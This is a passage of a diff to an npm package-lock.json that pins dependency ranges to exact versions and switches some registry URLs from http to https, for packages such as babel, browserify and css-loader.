"^4.2.0" + "babel-code-frame": "6.22.0", + "babel-messages": "6.23.0", + "babel-runtime": "6.25.0", + "babel-types": "6.25.0", + "babylon": "6.17.4", + "debug": "2.6.8", + "globals": "9.18.0", + "invariant": "2.2.2", + "lodash": "4.17.10" } }, "babel-types": { @@ -2018,10 +2018,10 @@ "integrity": "sha1-cK+ySNVmDl0Y+BHZHIMDtUE0oY4=", "dev": true, "requires": { - "babel-runtime": "^6.22.0", - "esutils": "^2.0.2", - "lodash": "^4.2.0", - "to-fast-properties": "^1.0.1" + "babel-runtime": "6.25.0", + "esutils": "2.0.2", + "lodash": "4.17.10", + "to-fast-properties": "1.0.3" } }, "babylon": { @@ -2048,13 +2048,13 @@ "integrity": "sha512-5T6P4xPgpp0YDFvSWwEZ4NoE3aM4QBQXDzmVbraCkFj8zHM+mba8SyqB5DbZWyR7mYHo6Y7BdQo3MoA4m0TeQg==", "dev": true, "requires": { - "cache-base": "^1.0.1", - "class-utils": "^0.3.5", - "component-emitter": "^1.2.1", - "define-property": "^1.0.0", - "isobject": "^3.0.1", - "mixin-deep": "^1.2.0", - "pascalcase": "^0.1.1" + "cache-base": "1.0.1", + "class-utils": "0.3.6", + "component-emitter": "1.2.1", + "define-property": "1.0.0", + "isobject": "3.0.1", + "mixin-deep": "1.3.1", + "pascalcase": "0.1.1" }, "dependencies": { "define-property": { @@ -2063,7 +2063,7 @@ "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", "dev": true, "requires": { - "is-descriptor": "^1.0.0" + "is-descriptor": "1.0.2" } }, "is-accessor-descriptor": { @@ -2072,7 +2072,7 @@ "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", "dev": true, "requires": { - "kind-of": "^6.0.0" + "kind-of": "6.0.2" } }, "is-data-descriptor": { @@ -2081,7 +2081,7 @@ "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", "dev": true, "requires": { - "kind-of": "^6.0.0" + "kind-of": "6.0.2" } }, "is-descriptor": { @@ -2090,9 +2090,9 @@ "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", "dev": true, "requires": { - "is-accessor-descriptor": "^1.0.0", - "is-data-descriptor": "^1.0.0", - "kind-of": "^6.0.2" + "is-accessor-descriptor": "1.0.0", + "is-data-descriptor": "1.0.0", + "kind-of": "6.0.2" } }, "isobject": { @@ -2123,8 +2123,7 @@ "base64-js": { "version": "1.3.0", "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.3.0.tgz", - "integrity": "sha512-ccav/yGvoa80BQDljCxsmmQ3Xvx60/UpBIij5QN21W3wBi/hhIC9OoO+KLpu9IJTS9j4DRVJ3aDDF9cMSoa2lw==", - "dev": true + "integrity": "sha512-ccav/yGvoa80BQDljCxsmmQ3Xvx60/UpBIij5QN21W3wBi/hhIC9OoO+KLpu9IJTS9j4DRVJ3aDDF9cMSoa2lw==" }, "base64id": { "version": "1.0.0", @@ -2145,7 +2144,7 @@ "dev": true, "optional": true, "requires": { - "tweetnacl": "^0.14.3" + "tweetnacl": "0.14.5" } }, "better-assert": { @@ -2174,7 +2173,7 @@ "resolved": "https://registry.npmjs.org/biskviit/-/biskviit-1.0.1.tgz", "integrity": "sha1-A3oM1LcbnjMf2QoRIt4X3EnkIKc=", "requires": { - "psl": "^1.1.7" + "psl": "1.1.20" } }, "blob": { @@ -2202,15 +2201,15 @@ "dev": true, "requires": { "bytes": "3.0.0", - "content-type": "~1.0.4", + "content-type": "1.0.4", "debug": "2.6.9", - "depd": "~1.1.2", - "http-errors": "~1.6.3", + "depd": "1.1.2", + "http-errors": "1.6.3", "iconv-lite": "0.4.23", - "on-finished": "~2.3.0", + "on-finished": "2.3.0", "qs": "6.5.2", "raw-body": "2.3.3", - "type-is": "~1.6.16" + "type-is": "1.6.16" }, "dependencies": { "debug": { @@ -2228,7 +2227,7 @@ "integrity": "sha512-neyTUVFtahjf0mB3dZT77u+8O0QB89jFdnBkd5P1JgYPbPaia3gXXOVL2fq8VyU2gMMD7SaN7QukTB/pmXYvDA==", "dev": true, "requires": { - "safer-buffer": ">= 2.1.2 < 3" + "safer-buffer": "2.1.2" } } } @@ -2239,12 +2238,12 @@ "integrity": "sha1-jokKGD2O6aI5OzhExpGkK897yfU=", "dev": true, "requires": { - "array-flatten": "^2.1.0", - "deep-equal": "^1.0.1", - "dns-equal": "^1.0.0", - "dns-txt": "^2.0.2", - "multicast-dns": "^6.0.1", - "multicast-dns-service-types": "^1.1.0" + "array-flatten": "2.1.1", + "deep-equal": "1.0.1", + "dns-equal": "1.0.0", + "dns-txt": "2.0.2", + "multicast-dns": "6.2.3", + "multicast-dns-service-types": "1.1.0" } }, "boolbase": { @@ -2259,7 +2258,7 @@ "integrity": "sha1-T4owBctKfjiJ90kDD9JbluAdLjE=", "dev": true, "requires": { - "hoek": "4.x.x" + "hoek": "4.2.1" } }, "bootstrap": { @@ -2273,8 +2272,8 @@ "integrity": "sha1-F3kPVRU4rN6PlLcBhoDBRVRLsuE=", "dev": true, "requires": { - "loader-utils": "^0.2.5", - "q": "^1.0.1" + "loader-utils": "0.2.17", + "q": "1.5.0" } }, "brace-expansion": { @@ -2283,7 +2282,7 @@ "integrity": "sha1-wHshHHyVLsH479Uad+8NHTmQopI=", "dev": true, "requires": { - "balanced-match": "^1.0.0", + "balanced-match": "1.0.0", "concat-map": "0.0.1" } }, @@ -2294,9 +2293,9 @@ "dev": true, "optional": true, "requires": { - "expand-range": "^1.8.1", - "preserve": "^0.2.0", - "repeat-element": "^1.1.2" + "expand-range": "1.8.2", + "preserve": "0.2.0", + "repeat-element": "1.1.2" } }, "brorand": { @@ -2313,16 +2312,16 @@ }, "browserify-aes": { "version": "1.2.0", - "resolved": "http://registry.npmjs.org/browserify-aes/-/browserify-aes-1.2.0.tgz", + "resolved": "https://registry.npmjs.org/browserify-aes/-/browserify-aes-1.2.0.tgz", "integrity": "sha512-+7CHXqGuspUn/Sl5aO7Ea0xWGAtETPXNSAjHo48JfLdPWcMng33Xe4znFvQweqc/uzk5zSOI3H52CYnjCfb5hA==", "dev": true, "requires": { - "buffer-xor": "^1.0.3", - "cipher-base": "^1.0.0", - "create-hash": "^1.1.0", - "evp_bytestokey": "^1.0.3", - "inherits": "^2.0.1", - "safe-buffer": "^5.0.1" + "buffer-xor": "1.0.3", + "cipher-base": "1.0.4", + "create-hash": "1.2.0", + "evp_bytestokey": "1.0.3", + "inherits": "2.0.3", + "safe-buffer": "5.1.1" } }, "browserify-cipher": { @@ -2331,9 +2330,9 @@ "integrity": "sha512-sPhkz0ARKbf4rRQt2hTpAHqn47X3llLkUGn+xEJzLjwY8LRs2p0v7ljvI5EyoRO/mexrNunNECisZs+gw2zz1w==", "dev": true, "requires": { - "browserify-aes": "^1.0.4", - "browserify-des": "^1.0.0", - "evp_bytestokey": "^1.0.0" + "browserify-aes": "1.2.0", + "browserify-des": "1.0.2", + "evp_bytestokey": "1.0.3" } }, "browserify-des": { @@ -2342,10 +2341,10 @@ "integrity": "sha512-BioO1xf3hFwz4kc6iBhI3ieDFompMhrMlnDFC4/0/vd5MokpuAc3R+LYbwTA9A5Yc9pq9UYPqffKpW2ObuwX5A==", "dev": true, "requires": { - "cipher-base": "^1.0.1", - "des.js": "^1.0.0", - "inherits": "^2.0.1", - "safe-buffer": "^5.1.2" + "cipher-base": "1.0.4", + "des.js": "1.0.0", + "inherits": "2.0.3", + "safe-buffer": "5.1.2" }, "dependencies": { "safe-buffer": { @@ -2358,12 +2357,12 @@ }, "browserify-rsa": { "version": "4.0.1", - "resolved": "http://registry.npmjs.org/browserify-rsa/-/browserify-rsa-4.0.1.tgz", + "resolved": "https://registry.npmjs.org/browserify-rsa/-/browserify-rsa-4.0.1.tgz", "integrity": "sha1-IeCr+vbyApzy+vsTNWenAdQTVSQ=", "dev": true, "requires": { - "bn.js": "^4.1.0", - "randombytes": "^2.0.1" + "bn.js": "4.11.8", + "randombytes": "2.0.6" } }, "browserify-sign": { @@ -2372,13 +2371,13 @@ "integrity": "sha1-qk62jl17ZYuqa/alfmMMvXqT0pg=", "dev": true, "requires": { - "bn.js": "^4.1.1", - "browserify-rsa": "^4.0.0", - "create-hash": "^1.1.0", - "create-hmac": "^1.1.2", - "elliptic": "^6.0.0", - "inherits": "^2.0.1", - "parse-asn1": "^5.0.0" + "bn.js": "4.11.8", + "browserify-rsa": "4.0.1", + "create-hash": "1.2.0", + "create-hmac": "1.1.7", + "elliptic": "6.4.1", + "inherits": "2.0.3", + "parse-asn1": "5.1.1" } }, "browserify-zlib": { @@ -2387,7 +2386,7 @@ "integrity": "sha512-Z942RysHXmJrhqk88FmKBVq/v5tqmSkDz7p54G/MGyjMnCFFnC79XWNbg+Vta8W6Wb2qtSZTSxIGkJrRpCFEiA==", "dev": true, "requires": { - "pako": "~1.0.5" + "pako": "1.0.6" } }, "browserslist": { @@ -2396,8 +2395,8 @@ "integrity": "sha512-WHVocJYavUwVgVViC0ORikPHQquXwVh939TaelZ4WDqpWgTX/FsGhl/+P4qBUAGcRvtOgDgC+xftNWWp2RUTAQ==", "dev": true, "requires": { - "caniuse-lite": "^1.0.30000844", - "electron-to-chromium": "^1.3.47" + "caniuse-lite": "1.0.30000877", + "electron-to-chromium": "1.3.58" } }, "buffer": { @@ -2406,9 +2405,9 @@ "integrity": "sha1-bRu2AbB6TvztlwlBMgkwJ8lbwpg=", "dev": true, "requires": { - "base64-js": "^1.0.2", - "ieee754": "^1.1.4", - "isarray": "^1.0.0" + "base64-js": "1.3.0", + "ieee754": "1.1.12", + "isarray": "1.0.0" }, "dependencies": { "isarray": { @@ -2425,8 +2424,8 @@ "integrity": "sha512-CFsHQgjtW1UChdXgbyJGtnm+O/uLQeZdtbDo8mfUgYXCHSM1wgrVxXm6bSyrUuErEb+4sYVGCzASBRot7zyrow==", "dev": true, "requires": { - "buffer-alloc-unsafe": "^1.1.0", - "buffer-fill": "^1.0.0" + "buffer-alloc-unsafe": "1.1.0", + "buffer-fill": "1.0.0" } }, "buffer-alloc-unsafe": { @@ -2477,19 +2476,19 @@ "integrity": "sha512-Dph0MzuH+rTQzGPNT9fAnrPmMmjKfST6trxJeK7NQuHRaVw24VzPRWTmg9MpcwOVQZO0E1FBICUlFeNaKPIfHA==", "dev": true, "requires": { - "bluebird": "^3.5.1", - "chownr": "^1.0.1", - "glob": "^7.1.2", - "graceful-fs": "^4.1.11", - "lru-cache": "^4.1.1", - "mississippi": "^2.0.0", - "mkdirp": "^0.5.1", - "move-concurrently": "^1.0.1", - "promise-inflight": "^1.0.1", - "rimraf": "^2.6.2", - "ssri": "^5.2.4", - "unique-filename": "^1.1.0", - "y18n": "^4.0.0" + "bluebird": "3.5.1", + "chownr": "1.1.1", + "glob": "7.1.3", + "graceful-fs": "4.1.11", + "lru-cache": "4.1.3", + "mississippi": "2.0.0", + "mkdirp": "0.5.1", + "move-concurrently": "1.0.1", + "promise-inflight": "1.0.1", + "rimraf": "2.6.2", + "ssri": "5.3.0", + "unique-filename": "1.1.1", + "y18n": "4.0.0" }, "dependencies": { "y18n": { @@ -2506,15 +2505,15 @@ "integrity": "sha512-AKcdTnFSWATd5/GCPRxr2ChwIJ85CeyrEyjRHlKxQ56d4XJMGym0uAiKn0xbLOGOl3+yRpOTi484dVCEc5AUzQ==", "dev": true, "requires": { - "collection-visit": "^1.0.0", - "component-emitter": "^1.2.1", - "get-value": "^2.0.6", - "has-value": "^1.0.0", - "isobject": "^3.0.1", - "set-value": "^2.0.0", - "to-object-path": "^0.3.0", - "union-value": "^1.0.0", - "unset-value": "^1.0.0" + "collection-visit": "1.0.0", + "component-emitter": "1.2.1", + "get-value": "2.0.6", + "has-value": "1.0.0", + "isobject": "3.0.1", + "set-value": "2.0.0", + "to-object-path": "0.3.0", + "union-value": "1.0.0", + "unset-value": "1.0.0" }, "dependencies": { "isobject": { @@ -2531,7 +2530,7 @@ "integrity": "sha1-lAhe9jWB7NPaqSREqP6U6CV3dR8=", "dev": true, "requires": { - "callsites": "^0.2.0" + "callsites": "0.2.0" } }, "callsite": { @@ -2552,8 +2551,8 @@ "integrity": "sha1-yjw2iKTpzzpM2nd9xNy8cTJJz3M=", "dev": true, "requires": { - "no-case": "^2.2.0", - "upper-case": "^1.1.1" + "no-case": "2.3.2", + "upper-case": "1.1.3" } }, "camelcase": { @@ -2569,8 +2568,8 @@ "integrity": "sha1-MIvur/3ygRkFHvodkyITyRuPkuc=", "dev": true, "requires": { - "camelcase": "^2.0.0", - "map-obj": "^1.0.0" + "camelcase": "2.1.1", + "map-obj": "1.0.1" }, "dependencies": { "camelcase": { @@ -2600,8 +2599,8 @@ "dev": true, "optional": true, "requires": { - "align-text": "^0.1.3", - "lazy-cache": "^1.0.3" + "align-text": "0.1.4", + "lazy-cache": "1.0.4" } }, "chai": { @@ -2610,12 +2609,12 @@ "integrity": "sha512-XQU3bhBukrOsQCuwZndwGcCVQHyZi53fQ6Ys1Fym7E4olpIqqZZhhoFJoaKVvV17lWQoXYwgWN2nF5crA8J2jw==", "dev": true, "requires": { - "assertion-error": "^1.1.0", - "check-error": "^1.0.2", - "deep-eql": "^3.0.1", - "get-func-name": "^2.0.0", - "pathval": "^1.1.0", - "type-detect": "^4.0.5" + "assertion-error": "1.1.0", + "check-error": "1.0.2", + "deep-eql": "3.0.1", + "get-func-name": "2.0.0", + "pathval": "1.1.0", + "type-detect": "4.0.8" } }, "chalk": { @@ -2624,11 +2623,11 @@ "integrity": "sha1-qBFcVeSnAv5NFQq9OHKCKn4J/Jg=", "dev": true, "requires": { - "ansi-styles": "^2.2.1", - "escape-string-regexp": "^1.0.2", - "has-ansi": "^2.0.0", - "strip-ansi": "^3.0.0", - "supports-color": "^2.0.0" + "ansi-styles": "2.2.1", + "escape-string-regexp": "1.0.5", + "has-ansi": "2.0.0", + "strip-ansi": "3.0.1", + "supports-color": "2.0.0" } }, "chardet": { @@ -2650,15 +2649,15 @@ "dev": true, "optional": true, "requires": { - "anymatch": "^1.3.0", - "async-each": "^1.0.0", - "fsevents": "^1.0.0", - "glob-parent": "^2.0.0", - "inherits": "^2.0.1", - "is-binary-path": "^1.0.0", - "is-glob": "^2.0.0", - "path-is-absolute": "^1.0.0", - "readdirp": "^2.0.0" + "anymatch": "1.3.2", + "async-each": "1.0.1", + "fsevents": "1.1.2", + "glob-parent": "2.0.0", + "inherits": "2.0.3", + "is-binary-path": "1.0.1", + "is-glob": "2.0.1", + "path-is-absolute": "1.0.1", + "readdirp": "2.1.0" } }, "chownr": { @@ -2673,7 +2672,7 @@ "integrity": "sha512-xDbVgyfDTT2piup/h8dK/y4QZfJRSa73bw1WZ8b4XM1o7fsFubUVGYcE+1ANtOzJJELGpYoG2961z0Z6OAld9A==", "dev": true, "requires": { - "tslib": "^1.9.0" + "tslib": "1.9.3" } }, "cipher-base": { @@ -2682,8 +2681,8 @@ "integrity": "sha512-Kkht5ye6ZGmwv40uUDZztayT2ThLQGfnj/T71N/XzeZeo3nf8foyW7zGTsPYkEya3m5f3cAypH+qe7YOrM1U2Q==", "dev": true, "requires": { - "inherits": "^2.0.1", - "safe-buffer": "^5.0.1" + "inherits": "2.0.3", + "safe-buffer": "5.1.1" } }, "circular-json": { @@ -2698,10 +2697,10 @@ "integrity": "sha512-qOhPa/Fj7s6TY8H8esGu5QNpMMQxz79h+urzrNYN6mn+9BnxlDGf5QZ+XeCDsxSjPqsSR56XOZOJmpeurnLMeg==", "dev": true, "requires": { - "arr-union": "^3.1.0", - "define-property": "^0.2.5", - "isobject": "^3.0.0", - "static-extend": "^0.1.1" + "arr-union": "3.1.0", + "define-property": "0.2.5", + "isobject": "3.0.1", + "static-extend": "0.1.2" }, "dependencies": { "define-property": { @@ -2710,7 +2709,7 @@ "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", "dev": true, "requires": { - "is-descriptor": "^0.1.0" + "is-descriptor": "0.1.6" } }, "isobject": { @@ -2732,7 +2731,7 @@ "integrity": "sha1-Ls3xRaujj1R0DybO/Q/z4D4SXWo=", "dev": true, "requires": { - "source-map": "0.5.x" + "source-map": "0.5.6" } }, "cli-cursor": { @@ -2741,7 +2740,7 @@ "integrity": "sha1-s12sN2R5+sw+lHR9QdDQ9SOP/LU=", "dev": true, "requires": { - "restore-cursor": "^2.0.0" + "restore-cursor": "2.0.0" } }, "cli-width": { @@ -2757,8 +2756,8 @@ "dev": true, "optional": true, "requires": { - "center-align": "^0.1.1", - "right-align": "^0.1.1", + "center-align": "0.1.3", + "right-align": "0.1.3", "wordwrap": "0.0.2" }, "dependencies": { @@ -2788,8 +2787,8 @@ "integrity": "sha1-S8A3PBZLwykbTTaMgpzxqApZ3KA=", "dev": true, "requires": { - "map-visit": "^1.0.0", - "object-visit": "^1.0.0" + "map-visit": "1.0.0", + "object-visit": "1.0.1" } }, "color-convert": { @@ -2798,7 +2797,7 @@ "integrity": "sha1-Gsz5fdc5uYO/mU1W/sj5WFNkG3o=", "dev": true, "requires": { - "color-name": "^1.1.1" + "color-name": "1.1.3" } }, "color-name": { @@ -2819,7 +2818,7 @@ "integrity": "sha1-RYwH4J4NkA/Ci3Cj/sLazR0st/Y=", "dev": true, "requires": { - "lodash": "^4.5.0" + "lodash": "4.17.10" } }, "combined-stream": { @@ -2828,7 +2827,7 @@ "integrity": "sha1-cj599ugBrFYTETp+RFqbactjKBg=", "dev": true, "requires": { - "delayed-stream": "~1.0.0" + "delayed-stream": "1.0.0" } }, "commander": { @@ -2867,7 +2866,7 @@ "integrity": "sha512-4aE67DL33dSW9gw4CI2H/yTxqHLNcxp0yS6jB+4h+wr3e43+1z7vm0HU9qXOH8j+qjKuL8+UtkOxYQSMq60Ylw==", "dev": true, "requires": { - "mime-db": ">= 1.36.0 < 2" + "mime-db": "1.36.0" }, "dependencies": { "mime-db": { @@ -2884,13 +2883,13 @@ "integrity": "sha512-HSjyBG5N1Nnz7tF2+O7A9XUhyjru71/fwgNb7oIsEVHR0WShfs2tIS/EySLgiTe98aOK18YDlMXpzjCXY/n9mg==", "dev": true, "requires": { - "accepts": "~1.3.5", + "accepts": "1.3.5", "bytes": "3.0.0", - "compressible": "~2.0.14", + "compressible": "2.0.15", "debug": "2.6.9", - "on-headers": "~1.0.1", + "on-headers": "1.0.1", "safe-buffer": "5.1.2", - "vary": "~1.1.2" + "vary": "1.1.2" }, "dependencies": { "debug": { @@ -2922,9 +2921,9 @@ "integrity": "sha1-CqxmL9Ur54lk1VMvaUeE5wEQrPc=", "dev": true, "requires": { - "inherits": "^2.0.3", - "readable-stream": "^2.2.2", - "typedarray": "^0.0.6" + "inherits": "2.0.3", + "readable-stream": "2.3.3", + "typedarray": "0.0.6" }, "dependencies": { "isarray": { @@ -2936,25 +2935,25 @@ "readable-stream": { "version": "2.3.3", "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.3.tgz", - "integrity": "sha512-m+qzzcn7KUxEmd1gMbchF+Y2eIUbieUaxkWtptyHywrX0rE8QEYqPC07Vuy4Wm32/xE16NcdBctb8S0Xe/5IeQ==", + "integrity": "sha1-No8lEtefnUb9/HE0mueHi7weuVw=", "dev": true, "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~1.0.6", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.0.3", - "util-deprecate": "~1.0.1" + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "1.0.7", + "safe-buffer": "5.1.1", + "string_decoder": "1.0.3", + "util-deprecate": "1.0.2" } }, "string_decoder": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.0.3.tgz", - "integrity": "sha512-4AH6Z5fzNNBcH+6XDMfA/BTt87skxqJlO0lAh3Dker5zThcAxG6mKz+iGu308UKoPPQ8Dcqx/4JhujzltRa+hQ==", + "integrity": "sha1-D8Z9fBQYJd6UKC3VNr7GubzoYKs=", "dev": true, "requires": { - "safe-buffer": "~5.1.0" + "safe-buffer": "5.1.1" } } } @@ -2967,7 +2966,7 @@ "requires": { "debug": "2.6.9", "finalhandler": "1.1.0", - "parseurl": "~1.3.2", + "parseurl": "1.3.2", "utils-merge": "1.0.1" }, "dependencies": { @@ -2994,7 +2993,7 @@ "integrity": "sha1-8CQcRXMKn8YyOyBtvzjtx0HQuxA=", "dev": true, "requires": { - "date-now": "^0.1.4" + "date-now": "0.1.4" } }, "constants-browserify": { @@ -3039,12 +3038,12 @@ "integrity": "sha512-f2domd9fsVDFtaFcbaRZuYXwtdmnzqbADSwhSWYxYB/Q8zsdUUFMXVRwXGDMWmbEzAn1kdRrtI1T/KTFOL4X2A==", "dev": true, "requires": { - "aproba": "^1.1.1", - "fs-write-stream-atomic": "^1.0.8", - "iferr": "^0.1.5", - "mkdirp": "^0.5.1", - "rimraf": "^2.5.4", - "run-queue": "^1.0.0" + "aproba": "1.2.0", + "fs-write-stream-atomic": "1.0.10", + "iferr": "0.1.5", + "mkdirp": "0.5.1", + "rimraf": "2.6.2", + "run-queue": "1.0.3" } }, "copy-descriptor": { @@ -3056,9 +3055,9 @@ "copy-to-clipboard": { "version": "3.0.8", "resolved": "https://registry.npmjs.org/copy-to-clipboard/-/copy-to-clipboard-3.0.8.tgz", - "integrity": "sha512-c3GdeY8qxCHGezVb1EFQfHYK/8NZRemgcTIzPq7PuxjHAf/raKibn2QdhHPb/y6q74PMgH6yizaDZlRmw6QyKw==", + "integrity": "sha1-9OgvSogw3ORma3643tDJvMMTq6k=", "requires": { - "toggle-selection": "^1.0.3" + "toggle-selection": "1.0.6" } }, "copyfiles": { @@ -3067,12 +3066,12 @@ "integrity": "sha512-cAeDE0vL/koE9WSEGxqPpSyvU638Kgfu6wfrnj7kqp9FWa1CWsU54Coo6sdYZP4GstWa39tL/wIVJWfXcujgNA==", "dev": true, "requires": { - "glob": "^7.0.5", - "minimatch": "^3.0.3", - "mkdirp": "^0.5.1", + "glob": "7.1.3", + "minimatch": "3.0.4", + "mkdirp": "0.5.1", "noms": "0.0.0", - "through2": "^2.0.1", - "yargs": "^11.0.0" + "through2": "2.0.3", + "yargs": "11.1.0" }, "dependencies": { "ansi-regex": { @@ -3149,35 +3148,35 @@ "integrity": "sha512-GbEHQPMOswGpKXM9kCWVrremUcBmjteUaQ01T9rkKCPDXfUHX0IoP9LpHYo2NPFampa4e+/pFDc3jQdxrxQLaw==", "dev": true, "requires": { - "bn.js": "^4.1.0", - "elliptic": "^6.0.0" + "bn.js": "4.11.8", + "elliptic": "6.4.1" } }, "create-hash": { "version": "1.2.0", - "resolved": "http://registry.npmjs.org/create-hash/-/create-hash-1.2.0.tgz", + "resolved": "https://registry.npmjs.org/create-hash/-/create-hash-1.2.0.tgz", "integrity": "sha512-z00bCGNHDG8mHAkP7CtT1qVu+bFQUPjYq/4Iv3C3kWjTFV10zIjfSoeqXo9Asws8gwSHDGj/hl2u4OGIjapeCg==", "dev": true, "requires": { - "cipher-base": "^1.0.1", - "inherits": "^2.0.1", - "md5.js": "^1.3.4", - "ripemd160": "^2.0.1", - "sha.js": "^2.4.0" + "cipher-base": "1.0.4", + "inherits": "2.0.3", + "md5.js": "1.3.5", + "ripemd160": "2.0.2", + "sha.js": "2.4.11" } }, "create-hmac": { "version": "1.1.7", - "resolved": "http://registry.npmjs.org/create-hmac/-/create-hmac-1.1.7.tgz", + "resolved": "https://registry.npmjs.org/create-hmac/-/create-hmac-1.1.7.tgz", "integrity": "sha512-MJG9liiZ+ogc4TzUwuvbER1JRdgvUFSB5+VR/g5h82fGaIRWMWddtKBHi7/sVhfjQZ6SehlyhvQYrcYkaUIpLg==", "dev": true, "requires": { - "cipher-base": "^1.0.3", - "create-hash": "^1.1.0", - "inherits": "^2.0.1", - "ripemd160": "^2.0.0", - "safe-buffer": "^5.0.1", - "sha.js": "^2.4.8" + "cipher-base": "1.0.4", + "create-hash": "1.2.0", + "inherits": "2.0.3", + "ripemd160": "2.0.2", + "safe-buffer": "5.1.1", + "sha.js": "2.4.11" } }, "cross-spawn": { @@ -3186,9 +3185,9 @@ "integrity": "sha1-6L0O/uWPz/b4+UUQoKVUu/ojVEk=", "dev": true, "requires": { - "lru-cache": "^4.0.1", - "shebang-command": "^1.2.0", - "which": "^1.2.9" + "lru-cache": "4.1.3", + "shebang-command": "1.2.0", + "which": "1.3.0" } }, "cryptiles": { @@ -3197,7 +3196,7 @@ "integrity": "sha1-qJ+7Ig9c4l7FboxKqKT9e1sNKf4=", "dev": true, "requires": { - "boom": "5.x.x" + "boom": "5.2.0" }, "dependencies": { "boom": { @@ -3206,7 +3205,7 @@ "integrity": "sha512-Z5BTk6ZRe4tXXQlkqftmsAUANpXmuwlsF5Oov8ThoMbQRzdGTA1ngYRW160GexgOgjsFOKJz0LYhoNi+2AMBUw==", "dev": true, "requires": { - "hoek": "4.x.x" + "hoek": "4.2.1" } } } @@ -3217,17 +3216,17 @@ "integrity": "sha512-fz4spIh+znjO2VjL+IdhEpRJ3YN6sMzITSBijk6FK2UvTqruSQW+/cCZTSNsMiZNvUeq0CqurF+dAbyiGOY6Wg==", "dev": true, "requires": { - "browserify-cipher": "^1.0.0", - "browserify-sign": "^4.0.0", - "create-ecdh": "^4.0.0", - "create-hash": "^1.1.0", - "create-hmac": "^1.1.0", - "diffie-hellman": "^5.0.0", - "inherits": "^2.0.1", - "pbkdf2": "^3.0.3", - "public-encrypt": "^4.0.0", - "randombytes": "^2.0.0", - "randomfill": "^1.0.3" + "browserify-cipher": "1.0.1", + "browserify-sign": "4.0.4", + "create-ecdh": "4.0.3", + "create-hash": "1.2.0", + "create-hmac": "1.1.7", + "diffie-hellman": "5.0.3", + "inherits": "2.0.3", + "pbkdf2": "3.0.17", + "public-encrypt": "4.0.3", + "randombytes": "2.0.6", + "randomfill": "1.0.4" } }, "css-loader": { @@ -3236,18 +3235,18 @@ "integrity": "sha512-tMXlTYf3mIMt3b0dDCOQFJiVvxbocJ5Ho577WiGPYPZcqVEO218L2iU22pDXzkTZCLDE+9AmGSUkWxeh/nZReA==", "dev": true, "requires": { - "babel-code-frame": "^6.26.0", - "css-selector-tokenizer": "^0.7.0", - "icss-utils": "^2.1.0", - "loader-utils": "^1.0.2", - "lodash.camelcase": "^4.3.0", - "postcss": "^6.0.23", - "postcss-modules-extract-imports": "^1.2.0", - "postcss-modules-local-by-default": "^1.2.0", - "postcss-modules-scope": "^1.1.0", - "postcss-modules-values": "^1.3.0", - "postcss-value-parser": "^3.3.0", - "source-list-map": "^2.0.0" + "babel-code-frame": "6.26.0", + "css-selector-tokenizer": "0.7.0", + "icss-utils": "2.1.0", + "loader-utils": "1.1.0", + "lodash.camelcase": "4.3.0", + "postcss": "6.0.23", + "postcss-modules-extract-imports": "1.2.0", + "postcss-modules-local-by-default": "1.2.0", + "postcss-modules-scope": "1.1.0", + "postcss-modules-values": "1.3.0", + "postcss-value-parser": "3.3.0", + "source-list-map": "2.0.0" }, "dependencies": { "babel-code-frame": { @@ -3256,9 +3255,9 @@ "integrity": "sha1-Y/1D99weO7fONZR9uP42mj9Yx0s=", "dev": true, "requires": { - "chalk": "^1.1.3", - "esutils": "^2.0.2", - "js-tokens": "^3.0.2" + "chalk": "1.1.3", + "esutils": "2.0.2", + "js-tokens": "3.0.2" } }, "loader-utils": { @@ -3267,9 +3266,9 @@ "integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=", "dev": true, "requires": { - "big.js": "^3.1.3", - "emojis-list": "^2.0.0", - "json5": "^0.5.0" + "big.js": "3.1.3", + "emojis-list": "2.1.0", + "json5": "0.5.1" } } } @@ -3280,10 +3279,10 @@ "integrity": "sha1-KzoRBTnFNV8c2NMUYj6HCxIeyFg=", "dev": true, "requires": { - "boolbase": "~1.0.0", - "css-what": "2.1", + "boolbase": "1.0.0", + "css-what": "2.1.0", "domutils": "1.5.1", - "nth-check": "~1.0.1" + "nth-check": "1.0.1" } }, "css-selector-tokenizer": { @@ -3292,9 +3291,9 @@ "integrity": "sha1-5piEdK6MlTR3v15+/s/OzNnPTIY=", "dev": true, "requires": { - "cssesc": "^0.1.0", - "fastparse": "^1.1.1", - "regexpu-core": "^1.0.0" + "cssesc": "0.1.0", + "fastparse": "1.1.1", + "regexpu-core": "1.0.0" }, "dependencies": { "regexpu-core": { @@ -3303,9 +3302,9 @@ "integrity": "sha1-hqdj9Y7k18L2sQLkdkBQ3n7ZDGs=", "dev": true, "requires": { - "regenerate": "^1.2.1", - "regjsgen": "^0.2.0", - "regjsparser": "^0.1.4" + "regenerate": "1.3.2", + "regjsgen": "0.2.0", + "regjsparser": "0.1.5" } } } @@ -3328,7 +3327,7 @@ "integrity": "sha1-mI3zP+qxke95mmE2nddsF635V+o=", "dev": true, "requires": { - "array-find-index": "^1.0.1" + "array-find-index": "1.0.2" } }, "custom-event": { @@ -3349,7 +3348,7 @@ "integrity": "sha1-dUu1v+VUUdpppYuU1F9MWwRi1Y8=", "dev": true, "requires": { - "es5-ext": "^0.10.9" + "es5-ext": "0.10.46" } }, "dashdash": { @@ -3358,7 +3357,7 @@ "integrity": "sha1-hTz6D3y+L+1d4gMmuN1YEDX24vA=", "dev": true, "requires": { - "assert-plus": "^1.0.0" + "assert-plus": "1.0.0" } }, "date-format": { @@ -3379,8 +3378,8 